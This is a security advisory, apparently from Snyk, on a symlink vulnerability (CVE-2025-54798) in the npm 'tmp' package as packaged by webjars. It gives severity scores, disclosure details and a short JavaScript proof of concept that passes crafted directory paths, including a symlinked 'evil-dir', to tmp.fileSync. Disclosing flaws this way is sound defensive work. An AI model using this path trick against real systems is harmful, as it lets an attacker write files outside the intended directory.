Symlink Attack Affecting org.webjars.npm:tmp package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.01% (2nd percentile)

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  • Snyk IDSNYK-JAVA-ORGWEBJARSNPM-11501555
  • published7 Aug 2025
  • disclosed6 Aug 2025
  • creditAlessio Della Libera

Introduced: 6 Aug 2025

NewCVE-2025-54798  (opens in a new tab)
CWE-59  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.

PoC

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

References

CVSS Base Scores

version 4.0
version 3.1